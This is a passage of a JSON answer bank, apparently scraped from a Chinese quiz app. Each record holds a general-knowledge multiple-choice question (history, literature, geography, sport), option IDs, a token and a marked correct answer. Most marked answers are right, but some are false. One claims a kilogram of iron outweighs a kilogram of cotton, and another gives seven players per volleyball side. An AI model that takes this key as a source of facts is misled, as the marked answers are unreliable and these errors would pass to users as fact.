04:46:05","status":"1"},{"questionId":"8801428850","questionIndex":"2","questionStem":"第一次世界大战开始的时间是?","options":"[{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XY9wsLa3SDcnAR3C7g\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XID_QftuSV8AL8cBZw\",\"optionDesc\":\"1910\"},{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}]","questionToken":"I8wSx0BRhzaLhXcmCc2nCzWDpoOtc9DQ2AXWX-ThfuZQCzGJvNz0MT366t9XL_xwNCJupGea-GfQ-dE2vb9LsVoxE9rXTw","correct":"{\"optionId\":\"I8wSx0BRhzaLhXd3GoW8XsMXs1vovMbXczv5_A\",\"optionDesc\":\"1914\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"8801428852","questionIndex":"2","questionStem":"第二次世界大战是哪一年爆发的?","options":"[{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XR4A4CIoRZS-ER8UWw\",\"optionDesc\":\"1940\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"},{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8XFvEUJQdDyW7Htgg5g\",\"optionDesc\":\"1938\"}]","questionToken":"I8wSx0BRhzaLh3cmCc2nDAzD0Aaw55lLLU8ZbOwQkwf-nS55RdBeOYFOohhXIcw7Kw5JcT2_XtwQNhgZIKH58EKB0jPhJw","correct":"{\"optionId\":\"I8wSx0BRhzaLh3d3GoW8Xpep6Ac4_jlbyTfQoQ\",\"optionDesc\":\"1939\"}","create_time":"27/1/2021 04:34:24","update_time":"27/1/2021 04:34:24","status":"1"},{"questionId":"8801428853","questionIndex":"2","questionStem":"下列古都哪个被称为“六朝古都”?","options":"[{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XDZucZFf0I-z\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XSqXTqXFJUd4\",\"optionDesc\":\"北京\"},{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}]","questionToken":"I8wSx0BRhzaLhncmCc2nDI8f8SX8omP5anu8kc-WekI7PVTligGTr-m75OY5pIjStgZigqe3HdRgg1qTh_zRe4F6AI1w-Q","correct":"{\"optionId\":\"I8wSx0BRhzaLhnd3GoW8XjBBfSHP2jhP\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"8801428854","questionIndex":"5","questionStem":"史书《汉书》是哪位史学家所著?","options":"[{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XMADjY0MOZA1dzQoVA\",\"optionDesc\":\"司马迁\"},{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8XRl8P_Nkqp8aZ0f22g\",\"optionDesc\":\"左丘明\"}]","questionToken":"I8wSx0BRhzaLgXchCc2nC2LgiwzanflvcQ1ow6aUBtBuoZ4LvsshqBzYovXYsfO43FQo1ElKkvAuYAURb86pgVl8NQf2gg","correct":"{\"optionId\":\"I8wSx0BRhzaLgXd3GoW8Xg0bF9yvZIA0fNJtBg\",\"optionDesc\":\"班固\"}","create_time":"27/1/2021 04:50:46","update_time":"27/1/2021 04:50:46","status":"1"},{"questionId":"8801428888","questionIndex":"5","questionStem":"我国古代“十恶不赦”中的首恶是?","options":"[{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XYlcXfLYD8BxzoxE\",\"optionDesc\":\"不道\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"},{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XPdWcA_2R6OhDdzt\",\"optionDesc\":\"不义\"}]","questionToken":"I8wSx0BRhzaGjXchCc2nDJb8nLg5ygXNx3zXN_euQN_mF58XH5UbkS63hYuNl3J1IKw4sbfIXbcx80hHIEauimOgce0REw","correct":"{\"optionId\":\"I8wSx0BRhzaGjXd3GoW8XgX0v5jDbnCd0svb\",\"optionDesc\":\"谋反\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428890","questionIndex":"4","questionStem":"古代盛世哪个是李世民统治的时期?","options":"[{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XMfOo8NKGaKF0UsTcg\",\"optionDesc\":\"文景之治\"},{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XdJRnCskkKJ1Ewbj_Q\",\"optionDesc\":\"康乾之治\"}]","questionToken":"I8wSx0BRhzaHhXcgCc2nDHJ05A9U8ccHqKu1xgcwLZw05sIJi2oaXe1VJGZXy8x376BwJdAe7T1qo78cv9KGb-4upIJD4Q","correct":"{\"optionId\":\"I8wSx0BRhzaHhXd3GoW8XrbhsXf_2BgEn2hTbA\",\"optionDesc\":\"贞观之治\"}","create_time":"27/1/2021 04:35:46","update_time":"27/1/2021 04:35:46","status":"1"},{"questionId":"8801428891","questionIndex":"4","questionStem":"素有“瓷都”之称的景德镇位于哪个省份?","options":"[{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XQmMqtYixTAXTgoo_A\",\"optionDesc\":\"河北\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XJIwKYzofeTVUSN7BQ\",\"optionDesc\":\"河南\"},{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}]","questionToken":"I8wSx0BRhzaHhHcgCc2nC3y5pBrogDB2V17u4Z655jjJBlSQh8fq3QgcPqnA9i4CABb8bEuIuYIerC4GSaDBxHd_xgYmRg","correct":"{\"optionId\":\"I8wSx0BRhzaHhHd3GoW8XgvaIdERFjjlA2CQ_Q\",\"optionDesc\":\"江西\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"8801428892","questionIndex":"1","questionStem":"马拉松长跑来源于马拉松战役,它的爆发地是","options":"[{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XLhELU4YSDbFdvLtPg\",\"optionDesc\":\"马其顿\"},{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8XWyGnRSYlVJGp_CiqQ\",\"optionDesc\":\"古代罗马\"}]","questionToken":"I8wSx0BRhzaHh3clCc2nDJpa_XXMDjZBCYzXXzzplcu9TldrPXp1gzzKt6LEPj2lysS3WhJfU1RNB8JP-I-_Y7Mh6wz71Q","correct":"{\"optionId\":\"I8wSx0BRhzaHh3d3GoW8Xhfp6P6DNodYs587fA\",\"optionDesc\":\"古代希腊\"}","create_time":"27/1/2021 04:48:27","update_time":"27/1/2021 04:48:27","status":"1"},{"questionId":"8801428931","questionIndex":"1","questionStem":"古代科举考试最后在殿试中考第二名被称为?","options":"[{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSB8OqmNfHm2sd-FU\",\"optionDesc\":\"执牛耳\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"},{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSeu8U320BR0nVuUW\",\"optionDesc\":\"探花\"}]","questionToken":"I8wSx0BRhzfPLP50pre-H5LCMFWw80ztDXcjDI26jTRKT4guntNz30W2raKcqIoRRpujXbd9MPj3pYY80ew7jcwHvCDUKA","correct":"{\"optionId\":\"I8wSx0BRhzfPLP4mtf-lSp6_3a9a6SixuZck\",\"optionDesc\":\"榜眼\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428932","questionIndex":"3","questionStem":"世界上规模最大的大学是哪所高校?","options":"[{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSFofocW7m1ZJYdhF\",\"optionDesc\":\"剑桥大学\"},{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSTMCWBpnlwpMPH6_\",\"optionDesc\":\"哈佛大学\"}]","questionToken":"I8wSx0BRhzfPL_52pre-GEh_fV4jin8WIlRDqUH53L6TGB1uC2RdTSgDsTxn4I4Gpjvi5GXEMLdbM8vTFvZ4LgLl_vp7cA","correct":"{\"optionId\":\"I8wSx0BRhzfPL_4mtf-lSvEmTPFeIwtDwuc9\",\"optionDesc\":\"纽约州立大学\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801428933","questionIndex":"3","questionStem":"我国收入的字最多的字典是哪一部?","options":"[{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSbYouhIT6ONHvEGn\",\"optionDesc\":\"《新华字典》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSAZ5DvCTIbwjXnu8\",\"optionDesc\":\"《说文解字》\"},{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}]","questionToken":"I8wSx0BRhzfPLv52pre-H8x1akpF5w5WUJA7hjkD071pCFZ_p9ycOPjZZz2ForM1zaeHsymtcZAejCz9stiB-bi26mXauQ","correct":"{\"optionId\":\"I8wSx0BRhzfPLv4mtf-lSiNF2sfGQQCb_5Kx\",\"optionDesc\":\"《康熙字典》\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"8801428937","questionIndex":"3","questionStem":"除中国外还有哪个国家的人口超10亿?","options":"[{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSSKYzJH42dPrAL8EDw\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSNbDlJo8pwZtYklwxQ\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPKv52pre-Hy2rs_YbPHzygUsIMJ3V3uVCBk-b1J3H9HSf88gnncNEapnAnu5zWrINFeCSHuHAgVpGLqt-Xg","correct":"{\"optionId\":\"I8wSx0BRhzfPKv4mtf-lSh9otZVS_hWvVcEWJA\",\"optionDesc\":\"印度\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"8801428939","questionIndex":"2","questionStem":"哪个国家一般不准女性在生人面前露面?","options":"[{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSB6Bibx_Rd_6DYep\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"},{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lSaO1VfXS4flXzZxD\",\"optionDesc\":\"印度\"}]","questionToken":"I8wSx0BRhzfPJP53pre-GKLAhmayV7l4rPzdNiXo3aWiMcE2qFjEp_ZtWCm7shHXqIHo86JBYiCnWyQ20pi6LeyvuFwOfg","correct":"{\"optionId\":\"I8wSx0BRhzfPJP4mtf-lShSc8h3Z1KIiRoi5\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:37:11","update_time":"27/1/2021 04:37:11","status":"1"},{"questionId":"8801428940","questionIndex":"4","questionStem":"以下动物中视角最大的是?","options":"[{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSI6iFi2Qy42VgtUj\",\"optionDesc\":\"虎\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSR4r1uDR6mKyobht\",\"optionDesc\":\"马\"},{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}]","questionToken":"I8wSx0BRhzfILf5xpre-H2h1EPKZscAkxYkEQJuSa3LaQZUfHxXbqI3XQCvP5T3WkPM165Pap5gqU8hHow8ZdrY9fNDeVQ","correct":"{\"optionId\":\"I8wSx0BRhzfILf4mtf-lSlx0yorDMZkeqTk4\",\"optionDesc\":\"鱼\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428941","questionIndex":"4","questionStem":"现代足球运动的发源地是哪个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSOAHGqy6NOIRXA\",\"optionDesc\":\"莫桑比克\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"},{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSWFnUkQsstOkmw\",\"optionDesc\":\"法国\"}]","questionToken":"I8wSx0BRhzfILP5xpre-GMOam5aYhB2Q5ztxHC2Tp65ugesbdSeLa7Kc4wkMmNs0cuA5xEFefoENTrgKfpnjX8iKExIfDg","correct":"{\"optionId\":\"I8wSx0BRhzfILP4mtf-lSqkLibe8I1JYMw\",\"optionDesc\":\"英国\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"8801428942","questionIndex":"1","questionStem":"我国四大名著中,成书最晚的一部是?","options":"[{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSMKS5gpwweGnFbE\",\"optionDesc\":\"《三国演义》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"},{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSdAiuilTH8gjmHQ\",\"optionDesc\":\"《西游记》\"}]","questionToken":"I8wSx0BRhzfIL_50pre-H49lN-xi7Hn7vnjzNWx4TPaTOY-wISmVgufVTTZMdOBa5rtzT0T4X9g8nDedy_nlor2rn9VT1Q","correct":"{\"optionId\":\"I8wSx0BRhzfIL_4mtf-lSh9JG0YnSYiq-Ac\",\"optionDesc\":\"《红楼梦》\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428943","questionIndex":"1","questionStem":"我国被称为“不夜城”的城市是哪一座城市? ","options":"[{\"optionId\":\"I8wSx0BRhzfILv4mtf-lST52o8MB5VMw6wcx\",\"optionDesc\":\"上海\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"},{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSD5ysPZ_8CJ99TBs\",\"optionDesc\":\"北京\"}]","questionToken":"I8wSx0BRhzfILv50pre-GJQIVoksR3LNh5Yk6eLziBTfZIjboPRd0fnXze5XhZgx6B5Y7PukibqXpVesW203DKvFKSodYA","correct":"{\"optionId\":\"I8wSx0BRhzfILv4mtf-lSmfSmflsUrm0IY26\",\"optionDesc\":\"漠河\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 04:32:32","status":"1"},{"questionId":"8801428944","questionIndex":"1","questionStem":"排球比赛场上一方运动员人数为?","options":"[{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSR73TB7sOvzg_QI\",\"optionDesc\":\"6人\"},{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSJfmYAMXEUev9LA\",\"optionDesc\":\"9人\"}]","questionToken":"I8wSx0BRhzfIKf50pre-GJ04Lp2zQZj2MnigwYbVBaTo-m4F7X6wUnRX6687R0x09F7zzyy6nn0rzsamL-pQMeD8Kg7veQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKf4mtf-lSpwapTacAZM_qdk\",\"optionDesc\":\"7人\"}","create_time":"27/1/2021 04:36:16","update_time":"27/1/2021 04:36:16","status":"1"},{"questionId":"8801428945","questionIndex":"2","questionStem":"人体可以导电是因为人体中含有?","options":"[{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSce6pQMOFzmncA\",\"optionDesc\":\"金属元素\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"},{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSEj3Gc0f5Int_g\",\"optionDesc\":\"脂肪\"}]","questionToken":"I8wSx0BRhzfIKP53pre-GPFhHez6vJOsr2uPnr69Fug9dyIKozdji5aOITyWPvraC7hgfYiZM06uRvD5yhUi_l1QVfHnoQ","correct":"{\"optionId\":\"I8wSx0BRhzfIKP4mtf-lSjaRJEzAngpOdw\",\"optionDesc\":\"水\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428946","questionIndex":"5","questionStem":"五线谱是哪国人发明的?","options":"[{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSBEkiym3vAhzZCOqGQ\",\"optionDesc\":\"法国\"},{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSbDDIvgXEtflKd3Efw\",\"optionDesc\":\"德国\"}]","questionToken":"I8wSx0BRhzfIK_5wpre-GLM4A2s4xodz2IMYhiMLDo8a6Sqbo88rSqVQMHhJm0RX7TO8eQsmccVLC1p8DUPe0Ne64YyH9w","correct":"{\"optionId\":\"I8wSx0BRhzfIK_4mtf-lSmyPYqP78yf7hzjz0A\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"8801428948","questionIndex":"1","questionStem":"世界上是被称为“教育王国”的哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSeYeVeShMDfyMGQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSJD9hKh3yKNO-u0\",\"optionDesc\":\"日本\"},{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}]","questionToken":"I8wSx0BRhzfIJf50pre-H1FrpUufh4Mm3dY_p9E39gEbIX9-cI6QRAWr4CoPKPq6H1OzkamFd8A1PMI7Lo-cEynb3njxDA","correct":"{\"optionId\":\"I8wSx0BRhzfIJf4mtf-lSn334k567KD37rg\",\"optionDesc\":\"以色列\"}","create_time":"27/1/2021 04:53:13","update_time":"27/1/2021 04:53:13","status":"1"},{"questionId":"8801428949","questionIndex":"2","questionStem":"“海市蜃楼”通常发生在什么季节?","options":"[{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSTQ649rLG7mR_TA\",\"optionDesc\":\"秋天\"},{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSJJRCtpBj7n_xlg\",\"optionDesc\":\"春天\"}]","questionToken":"I8wSx0BRhzfIJP53pre-H22tWYJxXED619poNC-H65Q5x5hYi2LK8z-ni9eIJTNSBgeHpJ_pT3OqiOXLJHSbZb62Bnij7Q","correct":"{\"optionId\":\"I8wSx0BRhzfIJP4mtf-lSjDdG_gtN1nfO7U\",\"optionDesc\":\"夏天\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432237","questionIndex":"4","questionStem":"“豆寇年华”是指几岁?","options":"[{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVCQglp-069uY_Jo_mg\",\"optionDesc\":\"16岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"},{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVSZtcGjMYbv8UAPFgQ\",\"optionDesc\":\"12岁\"}]","questionToken":"I8wSx0BQjTw3Er_WEOYxAwPNhkYI4mb-stAfMRjZawYoQDZ8WurdirGl__kAPZ8NEi9fVVF6-NH2agW-Q3NypljbWUh6sg","correct":"{\"optionId\":\"I8wSx0BQjTw3Er-BA64qVnpuMNBtyqnhlG9_fw\",\"optionDesc\":\"13岁\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"8801432238","questionIndex":"5","questionStem":"“无事不登三宝殿”的“三宝”是指哪三宝?","options":"[{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVMdsOlWBf8Un_DMI\",\"optionDesc\":\"书、剑、琴\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"},{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVa7pGk-F6_Zj5taf\",\"optionDesc\":\"金、银、玉\"}]","questionToken":"I8wSx0BQjTw3Hb_XEOYxAzCwxxTj90doEUT5Wd7QqD-wv0ht2xj_SbsysTpAS-ZwPOvdoOeSkvm9FLCJrx9xN_U62Zkc1w","correct":"{\"optionId\":\"I8wSx0BQjTw3Hb-BA64qVsah4wvBcKh7KLjL\",\"optionDesc\":\"佛、法、僧\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"8801432239","questionIndex":"2","questionStem":"“信天游”流行于哪一带地方?","options":"[{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVVcEGyT5gyqUcp8lhg\",\"optionDesc\":\"西南\"},{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVFuEKbFryHyuJ0PnGg\",\"optionDesc\":\"华北\"}]","questionToken":"I8wSx0BQjTw3HL_QEOYxBMjBHzLnmNtiEwjiiZRI7ijFUote2uTnmksyLV59iFWtA8B8WvEpknRam6pfwieTM0geFL_D4A","correct":"{\"optionId\":\"I8wSx0BQjTw3HL-BA64qVo9VAfxj1E9rW9AUsg\",\"optionDesc\":\"陕北\"}","create_time":"27/1/2021 03:36:45","update_time":"27/1/2021 03:36:45","status":"1"},{"questionId":"8801432240","questionIndex":"5","questionStem":"被人颂称“诗魔”的是谁?","options":"[{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVC9s8aYNlVIDjyk\",\"optionDesc\":\"李商隐\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVZEnUj2zYRlE6Ro\",\"optionDesc\":\"王维\"},{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}]","questionToken":"I8wSx0BQjTwwFb_XEOYxBHj8uTB2CfG4bE5jclHNw2ifBi-mydPaH1bGXsTB5exycPJgTHf02PI5J8xakkApxTrPQyO7Nw","correct":"{\"optionId\":\"I8wSx0BQjTwwFb-BA64qVhnfiHjt0eE0eCY\",\"optionDesc\":\"白居易\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801432242","questionIndex":"1","questionStem":"西游记中的火焰山在哪里?","options":"[{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVEq96B-0ajn12zLDyQ\",\"optionDesc\":\"黄土高坡\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qVeQUJ-Qrhsfyh3nYZQ\",\"optionDesc\":\"四川盆地\"},{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}]","questionToken":"I8wSx0BQjTwwF7_TEOYxBBfiowPBQM_tVM1yMRpEBAzga40j2dJnrU0LCwhnym2cVQTVyqHP69c9wk78Tx5-pUWIyOu_LQ","correct":"{\"optionId\":\"I8wSx0BQjTwwF7-BA64qViXKSIQmO1mKbbolxA\",\"optionDesc\":\"吐鲁番盆地\"}","create_time":"27/1/2021 04:43:43","update_time":"27/1/2021 04:43:43","status":"1"},{"questionId":"8801432243","questionIndex":"4","questionStem":"吴敬梓是哪本名著的作者?","options":"[{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVSKn2-opAsMwCMc\",\"optionDesc\":\"《武林外传》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVK5o2D27BqDTwNQ\",\"optionDesc\":\"《三侠五义》\"},{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}]","questionToken":"I8wSx0BQjTwwFr_WEOYxBKJ77or1iXWS5n5Ovqr3xbPnGXq6aAEQiNJ_PRBKc42rvXjwV7adFSPNqpdtQd4MfOPci4fjBQ","correct":"{\"optionId\":\"I8wSx0BQjTwwFr-BA64qVkr3gFAjHvqEi7U\",\"optionDesc\":\"《儒林外史》\"}","create_time":"27/1/2021 04:44:52","update_time":"27/1/2021 04:44:52","status":"1"},{"questionId":"8801432244","questionIndex":"5","questionStem":"一公斤铁和一公斤棉花哪一个重?","options":"[{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVeIQaWm7UqII3FY\",\"optionDesc\":\"棉花重一点\"},{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVPp6dszV-rDRVeg\",\"optionDesc\":\"一样重\"}]","questionToken":"I8wSx0BQjTwwEb_XEOYxBMuOaIBaTJW3FOwfZNO06bDFz7yMw7ur5BZukYEFHVsNaR-DiRG6JPlbJX3XK0zk3BLXVoKL8g","correct":"{\"optionId\":\"I8wSx0BQjTwwEb-BA64qVhccwsdZJYkJVDc\",\"optionDesc\":\"铁重一点\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"8801432245","questionIndex":"2","questionStem":"“打蛇打七寸”的七寸是指?","options":"[{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVdkrEJ_karjvMPE\",\"optionDesc\":\"蛇的胃\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVGqA13-6GuGNBro\",\"optionDesc\":\"蛇的胆\"},{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}]","questionToken":"I8wSx0BQjTwwEL_QEOYxBGGHD7uykMeQltEmMC892QimtCxc8X8cqcgI-SXfGefhGbmHBqZIxxZBQ8mSFYQTDcrdd5nApQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEL-BA64qVhejWq682X9J3Dg\",\"optionDesc\":\"蛇的心脏\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"8801432246","questionIndex":"4","questionStem":"世界地球日是每年的?","options":"[{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVI4gb1JkgD-eQVwQtA\",\"optionDesc\":\"3月12日\"},{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVf3oBxgQ1x2TTD-kUQ\",\"optionDesc\":\"12月1日\"}]","questionToken":"I8wSx0BQjTwwE7_WEOYxBJXcLp-6fIuESTIDWwGmW-ldrNhykU91WJRHJpd0oPrD4uA__KSmiZu93LVfX8B4Um_VomhuzQ","correct":"{\"optionId\":\"I8wSx0BQjTwwE7-BA64qVv0TiguHsNj2_agupQ\",\"optionDesc\":\"4月22日\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"8801432247","questionIndex":"1","questionStem":"我国现有文献中最早引用勾股定理的是?","options":"[{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVdnRecE5ICUFFFOVBw\",\"optionDesc\":\"《孙子算经》\"},{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVMsbm_KBW_vMBSi3Yw\",\"optionDesc\":\"《九章算术》\"}]","questionToken":"I8wSx0BQjTwwEr_TEOYxBHH60Gba3VpyiDDwO7MzNXu4WKnJcrufemkbUBTYhCk3Ts81RpsQXiNMWcmBxEFlXe8OFpRadQ","correct":"{\"optionId\":\"I8wSx0BQjTwwEr-BA64qVkp4zJAhsRZqAjeP5w\",\"optionDesc\":\"《周髀算经》\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 